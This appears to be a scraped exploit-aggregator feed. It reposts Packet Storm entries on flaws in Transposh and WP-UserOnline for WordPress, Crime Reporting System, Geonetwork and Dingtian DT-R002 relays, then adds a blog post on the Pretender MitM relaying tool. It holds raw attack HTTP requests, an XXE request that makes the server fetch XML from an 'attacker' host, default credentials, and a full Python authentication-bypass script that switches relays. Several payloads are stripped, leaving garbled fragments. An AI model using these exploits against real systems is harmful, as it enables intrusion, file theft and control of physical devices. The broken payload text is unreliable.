Exploit Collector
Transposh WordPress Translation 1.0.7 Cross Site Scripting

https://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png Transposh WordPress Translation versions 1.0.7 and below have an ajax action "tp_translation" which is available to authenticated or unauthenticated users (see CVE-2022-2461) that allows them to submit new translations. Translations submitted this way are shown on the Transposh administrative interface on the pages "tp_main" and "tp_editor". However, since the plugin does not properly validate and sanitize the submitted translation, arbitrary Javascript code can be permanently injected and executed directly within the backend across all users visiting the page with the roles of at least "Subscriber" and up to "Administrator".

SHA-256 | 484332c9e36ec88f8a190cc80119a1f22da60e0f49e9a327a7f7268bba597fb7Download RCE Security Advisory
https://www.rcesecurity.com
1. ADVISORY INFORMATION
=======================
Product: Transposh WordPress Translation
Vendor URL: https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/
Type: Cross-Site Scripting [CWE-79]
Date found: 2021-08-19
Date published: 2022-07-22
CVSSv3 Score: 6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
CVE: CVE-2021-24911
2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.
3. VERSIONS AFFECTED
====================
Transposh WordPress Translation 1.0.7 and below
4. INTRODUCTION
===============
Transposh translation filter for WordPress offers a unique approach to blog
translation. It allows your blog to combine automatic translation with human
translation aided by your users with an easy to use in-context interface.

(from the vendor's homepage)
5. VULNERABILITY DETAILS
========================
The plugin's ajax action "tp_translation" which is available to authenticated or
unauthenticated users (see CVE-2022-2461) allows to submit new translations.

Translations submitted this way are shown on the Transposh administrative
interface on the pages "tp_main" and "tp_editor". However, since the plugin does
not properly validate and sanitize the submitted translation, arbitrary Javascript
code can be permanently injected and executed directly within the backend across
all users visiting the page with the roles of at least "Subscriber" and up to
"Administrator".

This offers a wide range of possible attacks, such as redirecting the user to a
malicious page, spoofing content on the page, or attacking the browser and its
plugins.
6. PROOF OF CONCEPT
===================
The following PoC adds a new translation:
7. SOLUTION
===========
Update the plugin to version 1.0.8.1
8. REPORT TIMELINE
==================
2021-08-19: Discovery of the vulnerability
2021-08-20: Contacted the vendor via their contact form
2021-08-20: Vendor response
2021-08-20: Sent all the PoC exploits
2021-08-20: Vendor acknowledges the issues
2021-09-14: Requested status update from vendor
2021-10-07: No response from vendor, requested status update again
2021-10-25: CVE requested from WPScan (CNA)
2021-10-27: WPScan assigns CVE-2021-24911
2022-02-22: Vendor releases 1.0.8, which fixes this vulnerability
2022-07-22: Public disclosure
9. REFERENCES
=============
https://github.com/MrTuxracer/advisories
https://transposh.org/version-1-0-8-thanks-julien/
https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/ Source:packetstormsecurity.com

Exploit Collector
WordPress WP-UserOnline 2.87.6 Cross Site Scripting

https://2.bp.blogspot.com/-v3K-Hxbn0Es/WWlvhvX1clI/AAAAAAAAIQY/UsJ0X_N1RWgdGsUiiIhYa-pG6QWPEsSmwCLcBGAs/s1600/h91.png
WordPress WP-UserOnline plugin versions 2.87.6 and below suffer from a persistent cross site scripting vulnerability.

SHA-256 | f6801eabd968457a104d901ce64897fb4b492fbd508a10ad3532e3d5615da08a

Download
# Exploit Title: WordPress Plugin WP-UserOnline 2.87.6 - Stored Cross-Site Scripting (XSS)
# Date: 21/07/2022
# Exploit Author: Steffin Stanly
# Vendor Homepage: https://github.com/lesterchan/wp-useronline
# Software Link: https://wordpress.org/plugins/wp-useronline/
# Version:
# Tested on Windows

How to reproduce vulnerability:

1. Install WordPress 6.0.1
2. Install and activate WP-UserOnline plugin.
3. Navigate to Setting >> WP-UserOnline and enter the data into the User(s) Browsing Site.
4. Add the following payload "> and save changes
5. On visiting the dashboard, You will observe that the payload successfully got stored in the database and when you are triggering the same functionality in that time JavaScript payload is executing successfully and we are getting a pop-up.


Source:packetstormsecurity.com

Exploit Collector
Transposh WordPress Translation 1.0.7 Incorrect Authorization

https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
Transposh WordPress Translation versions 1.0.7 and below suffer from an incorrect authorization vulnerability. When installed, Transposh comes with a set of pre-configured options, one of these is the "Who can translate" setting under the "Settings" tab, which by default allows "Anonymous" users to add translations via the plugin's "tp_translation" ajax action. Successful exploits can allow an unauthenticated attacker to add translations to the WordPress site and thereby influence what is actually shown on the site.

SHA-256 | c25e589bc0f339822e669aa5ee336af340896bf3579587f6ad8e5c6ae0691179

Download
RCE Security Advisory
https://www.rcesecurity.com
1. ADVISORY INFORMATION
=======================
Product: Transposh WordPress Translation
Vendor URL: https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/
Type: Incorrect Authorization [CWE-863]
Date found: 2022-07-13
Date published: 2022-07-22
CVSSv3 Score: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
CVE: CVE-2022-2461
2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.
3. VERSIONS AFFECTED
====================
Transposh WordPress Translation 1.0.8.1 and below
4. INTRODUCTION
===============
Transposh translation filter for WordPress offers a unique approach to blog
translation. It allows your blog to combine automatic translation with human
translation aided by your users with an easy to use in-context interface.

(from the vendor's homepage)
5. VULNERABILITY DETAILS
========================
When installed Transposh comes with a set of pre-configured options, one of these
is the "Who can translate" setting under the "Settings" tab, which by default
allows "Anonymous" users to add translations via the plugin's "tp_translation"
ajax action.

Successful exploits can allow an unauthenticated attacker to add translations to
the WordPress site and thereby influence what is actually shown on the site.
6. PROOF OF CONCEPT
===================
The following Proof-of-Concept adds a new translation

POST /wp-admin/admin-ajax.php HTTP/2
Host: [host]
Content-Length: 75
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

action=tp_translation&ln0=en&sr0=rcesecurity.com&items=1&tk0=rcesecurity.com&tr0=rcesecurity.com
7. SOLUTION
===========
None. Remove the plugin to prevent exploitation.
8. REPORT TIMELINE
==================
2022-07-13: Discovery of the vulnerability
2022-07-13: CVE requested from WPScan (CNA)
2022-07-18: No response from WPScan
2022-07-18: CVE requested from Wordfence (CNA) instead
2022-07-18: Sent note to vendor
2022-07-18: Wordfence assigns CVE-2022-2461
2022-07-20: Since there are currently no plans to provide fixes at all:
2022-07-22: Public disclosure
9. REFERENCES
=============
https://github.com/MrTuxracer/advisories
https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/

Source:packetstormsecurity.com

Exploit Collector
Crime Reporting System 1.0 Cross Site Scripting

https://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png
Crime Reporting System version 1.0 suffers from a persistent cross site scripting vulnerability.

SHA-256 | 134f7cc89e016dd40ec6f94be6c14e9a72f24e41d92ceac88aa2cd6916a78c10

Download
# Exploit Title: Crime reporting system - Stored cross-site scripting (XSS)
# Date: 29/07/2022
# Exploit Author: Eslam Reda
# Vendor Homepage: https://sourcecodehero.com/crime-reporting-system-project-in-php-with-source-code/
# Software Link: https://sourcecodehero.com//wp-content/uploads/2022/03/Crime-Reporting-System-Project-in-PHP-with-source-code.zip
# Version: v1.0
# Tested on: Linux/Windows

1. Login to the application "the default credentials are username:jude - password:12345", go to add users "/admin/a_users.php".
2. Fill in the form with valid information.
3. Intercept the traffic with a proxy and add the payload ()) in the surname field.
4. Payload will be stored and executed when visiting "/admin/v_users.php"

Source:packetstormsecurity.com

Exploit Collector
Geonetwork 4.2.0 XML Injection

https://3.bp.blogspot.com/-vLPaJ0bXchM/WWlvcii8AuI/AAAAAAAAIPY/lohzKYQrhRkUA5ocnA3xRTtIEj7YZIM-ACLcBGAs/s1600/h77.png
Geonetwork versions 3.1.x through 4.2.0 suffer from an XML external entity injection vulnerability.

SHA-256 | b6960c0b16c14d8c15e9fb95af349b9c0df4129ca1c1ec5012226c0cf1bf3a8b

Download
# Exploit Title: Geonetwork 4.2.0 - XML External Entity (XXE)
# Date: 2022-July-11
# Exploit Author: Amel BOUZIANE-LEBLOND (https://twitter.com/amellb)
# Vendor Homepage: https://geonetwork-opensource.org/
# Version: Geonetwork 3.10.X through 4.2.0
# Tested on: Microsoft Windows Server & Linux

# Description:
# GeoNetwork 3.1.x through 4.2.0
# During rendering pdf of map.
# The XML parser is now configured securely to validate submitted XML document accepted from an untrusted source, which might result in arbitrary files retrieval from the server.

====================PDF RENDERING====================

POST /geonetwork/pdf/create.json HTTP/1.1
Host: REDACTED
Content-Type: application/json
Connection: close
Content-Length: 563

{"layout":"landscape","srs":"","units":"m","rotation":0,"lang":"fre","dpi":"190","outputFormat":"pdf","layers":[{"opacity":1,"type":"mapServer","baseURL":"http://attacker/xxe.xml","layers":["Tracts",],

"format":"image/svg+xml","name":"xxe","extent":[-20037508.34,-20037508.34,20037508.34,

20037508.34],

"tileSize":[256,256]}],"enableLegends":true,"hasTitle":true,"hasNoTitle":false,"hasAttribution":false,"pages":[{"center":[172063.3620639667,4200083.030736061],"scale":"2.5E7","dataOwner":"© ","rotation":0,"comment":"ok","title":"ok","langfre":true}]}
The parameters baseURL will be your XML files :

====================XXE_ATTACK====================

====================XXE.XML=======================

%pe; %param1; ]>
<foo&external;

====================X.dtd=========================
They will call the x.dtd
">


Source:packetstormsecurity.com

Exploit Collector
Dingtian-DT-R002 3.1.276A Authentication Bypass

https://2.bp.blogspot.com/-466o0SY5wbQ/WWlvXOxbxYI/AAAAAAAAIOQ/eHwtwujRsQI9h-mxYQXglBmw7d5gufaKwCLcBGAs/s1600/h51.png Dingtian-DT-R002 version 3.1.276A suffers from an authentication bypass vulnerability.

SHA-256 | c4aafb04ab940ad8ed639d090f1cb3dab189b7a09aab3cd311715b6cd8f14560Download # Exploit Title: Dingtian-DT-R002 3.1.276A - Authentication Bypass
# Google Dork: NA
# Date: 13th July 2022
# Exploit Author: Victor Hanna (Trustwave SpiderLabs)
# Author Github Page: https://9lyph.github.io/CVE-2022-29593/
# Vendor Homepage: https://www.dingtian-tech.com/en_us/relay4.html
# Software Link: https://www.dingtian-tech.com/en_us/support.html?tab=download
# Version: V3.1.276A
# Tested on: MAC OSX
# CVE : CVE-2022-29593#!/usr/local/bin/python3
# Author: Victor Hanna (SpiderLabs)
# DingTian DT-R002 2CH Smart Relay
# CWE-294 - Authentication Bypass by Capture-replay

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def banner():
print ("[+]********************************************************************************[+]")
print ("| Author : Victor Hanna (9lyph)["+Fore.RED + "SpiderLabs" +Style.RESET_ALL+"]\t\t\t\t\t |")
print ("| Description: DingTian DT-R002 2CH Smart Relay |")
print ("| Usage : "+sys.argv[0]+" <host<relay#|")
print ("[+]********************************************************************************[+]")

def main():
os.system('clear')
banner()
urlRelay1On = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0&"
urlRelay1Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0&"
urlRelay2On = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=1&time=0&pwd=0&"
urlRelay2Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=0&time=0&pwd=0&"

headers = {
"Host": ""+host+"",
"User-Agent": "9lyph/3.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"DNT": "1",
"Connection": "close",
"Referer": "http://"+host+"/relay_cgi.html",
"Cookie": "session=4463009"
}

print (Fore.YELLOW + f"[+] Exploiting" + Style.RESET_ALL, flush=True, end=" ")
for i in range(5):
time.sleep (1)
print (Fore.YELLOW + "." + Style.RESET_ALL, flush=True, end="")
try:
if (relay == "1"):
print (Fore.GREEN + "\n[+] Relay 1 switched on !" + Style.RESET_ALL)
r = requests.get(urlRelay1On)
time.sleep (5)
print (Fore.GREEN + "[+] Relay 1 switched off !" + Style.RESET_ALL)
r = requests.get(urlRelay1Off)
print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
elif (relay == "2"):
print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)
r = requests.get(urlRelay2On)
time.sleep (5)
print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)
r = requests.get(urlRelay2Off)
print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
else:
print (Fore.RED + "[!] No such relay" + Style.RESET_ALL)
except KeyboardInterrupt:
sys.exit(1)
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
except Exception as e:
print (Fore.RED + f"[+] You came up short I\'m afraid !" + Style.RESET_ALL)

if __name__ == "__main__":
if len(sys.argv)>2:
host = sys.argv[1]
relay = sys.argv[2]
main ()
else:
print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL) Source:packetstormsecurity.com

Black Hat Ethical Hacking
Offensive Security Tool: Pretender

Offensive Security Tool: PretenderPost Views: 18 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/05/Patreon.png Subscribe to Patreon to watch this episode.
Reading Time: 3 Minutes PretenderYour MitM sidekick for relaying attacks featuring DHCPv6 DNS takeover as well as mDNS, LLMNR and NetBIOS-NS spoofing.

Pretender is a tool developed by Red Team Pentesting to obtain machine-in-the-middle positions via spoofed local name resolution and DHCPv6 DNS takeover attacks. It primarily targets Windows hosts, as it is intended to be used for relaying attacks but can be deployed on Linux, Windows, and all other platforms Go supports. Name resolution queries can be answered with arbitrary IPs for situations where the relaying tool runs on a different host than pretender. It is designed to work with tools such as Impacket’s ntlmrelayx.py and krbrelayx that handle the incoming connections for relaying attacks or hash dumping.
See Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course USAGETo get a feel for the situation in the local network, pretender can be started in –dry mode where it only logs incoming queries and does not answer any of them:

https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Usage-1-1024x339.png
To perform local name resolution spoofing via mDNS, LLMNR and NetBIOS-NS as well as a DHCPv6 DNS takeover with router advertisements, simply run pretender like this:

https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/SS1-2.png
You can disable certain attacks with –no-dhcp-dns (disabled DHCPv6, DNS and router advertisements), –no-lnr (disabled mDNS, LLMNR and NetBIOS-NS), –no-mdns, –no-llmnr, –no-netbios and –no-ra.

If ntlmrelayx.py runs on a different host (say 10.0.0.10/fe80::5), run pretender like this:

https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/SS2-2.png

Pretender can be setup to only respond to queries for certain domains (or all but certain domains) and it can perform the spoofing attacks only for certain hosts (or all but certain hosts). Referencing hosts by hostname relies on the name resolution of the host that runs pretender. See the following example:

https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/SS3-2-1024x212.png

For more information, run pretender –help
See Also: Offensive Security Tool: DDoS-Layer7-bheh TIPS* Make sure to enable IPv6 support in ntlmrelayx.py with the -6 flag
* Pretender can be configured to stop after a certain time period for situations where it cannot be aborted manually (–stop-after and main.vendorStopAfter)
* Host info lookup (which relies on the ARP table, IP neighbours and reverse lookups) can be disabled with –no-host-info or main.vendorNoHostInfo
* If you are not sure which interface to choose (especially on Windows), list all interfaces with names and addresses using –interfaces
* If you want to exclude hosts from local name resolution spoofing, make sure to also exclude their IPv6 addresses or use –no-ipv6-lnr/main.vendorNoIPv6LNR
* DHCPv6 messages usually contain a FQDN option (which can also sometimes contain a hostname which is not a FQDN). This option is used to filter out messages by hostname (–spoof-for/–dont-spoof-for). You can decide what to do with DHCPv6 messages without FQDN option by setting or omitting –ignore-nofqdn
* Depending on the build configuration, either the operating system resolver (CGO_ENABLED=1) or a Go implementation (CGO_ENABLED=0) is used. This can be important for host info collection because the OS resolver may support local name resolution and the Go implementation does not, unless a stub resolver is used.
* The host info functionality is currently only available for Windows and Linux.
* A custom M[...]

AC address vendor list can be compiled into the binary by replacing the default list hostinfo/mac-vendors.txt. Only lines with MAC prefixes in the following format are recognized: FF:FF:FF<tabVendorID<tabVendor (the MAC prefix length can be arbitrary).
* If you only want to perform Kerberos relaying you can specify –no-lnr and –spoof-types SOA to ignore any queries that are unrelated to the attack.
* When conducting a Kerberos relay attack where krbrelayx.py runs on a different host than pretender (relay IPv4 address points to different host that runs krbrelayx.py), the host running krbrelayx.py will also need to run pretender in order to receive and deny the Dynamic Update query sent to the relay IPv4 address. Building and VendoringPretender can be build as follows: go buildPretender can also be compiled with pre-configured settings. For this, the ldflags have to be modified like this: -ldflags '-X main.vendorInterface=eth1'For example, Pretender can be built for Windows with a specific default interface, without colored output and with a relay IPv4 address configured: GOOS=windows go build -trimpath -ldflags '-X "main.vendorInterface=Ethernet 2" -X main.vendorNoColor=true -X main.vendorRelayIPv4=10.0.0.10'Full list of vendoring options (see defaults.go or pretender –help for detailed information):

vendorInterface
vendorRelayIPv4
vendorRelayIPv6
vendorSOAHostname
vendorNoDHCPv6DNSTakeover
vendorNoDHCPv6
vendorNoDNS
vendorNoMDNS
vendorNoNetBIOS
vendorNoLLMNR
vendorNoLocalNameResolution
vendorNoRA
vendorNoIPv6LNR
vendorSpoof
vendorDontSpoof
vendorSpoofFor
vendorDontSpoofFor
vendorSpoofTypes
vendorIgnoreDHCPv6NoFQDN
vendorDryMode
vendorTTL
vendorLeaseLifetime
vendorRARouterLifetime
vendorRAPeriod
vendorStopAfter
vendorVerbose
vendorNoColor
vendorNoTimestamps
vendorLogFileName
vendorNoHostInfo
vendorHideIgnored
vendorRedirectStderr
vendorListInterfaces
Clone the repo from here: GitHub Link
Trending: Write up: How Misconfigurations in Linux can leave you vulnerable to Attackers https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent Tools* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/DDoS-Layer7-bheh-300x150.png Offensive Security Tool: DDoS-Layer7-bhehJuly 28, 2022
Reading Time: 3 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/GitHacker-300x150.png Offensive Security Tool: GitHackerJuly 22, 2022
Reading Time: 3 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Sarenka-300x150.png OSINT Tool: SARENKAJuly 21, 2022
Reading Time: 3 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/waymore-300x150.png Recon Tool: WayMoreJuly 15, 2022
Reading Time: 9 minutes https://www.blackhatethicalhacking.com/wp-content/uploads/2022/06/OffSec-Course.png Offensive Security & Ethical Hacking CourseBegin the learning curve of hacking now!
The post Offensive Security Tool: Pretender first appeared on Black Hat Ethical Hacking.

Business Logic Vulnerabilities == $$$
https://sagarsajeev.medium.com/business-logic-vulnerabilities-b4db2af08aaf?source=rss------bug_bounty-5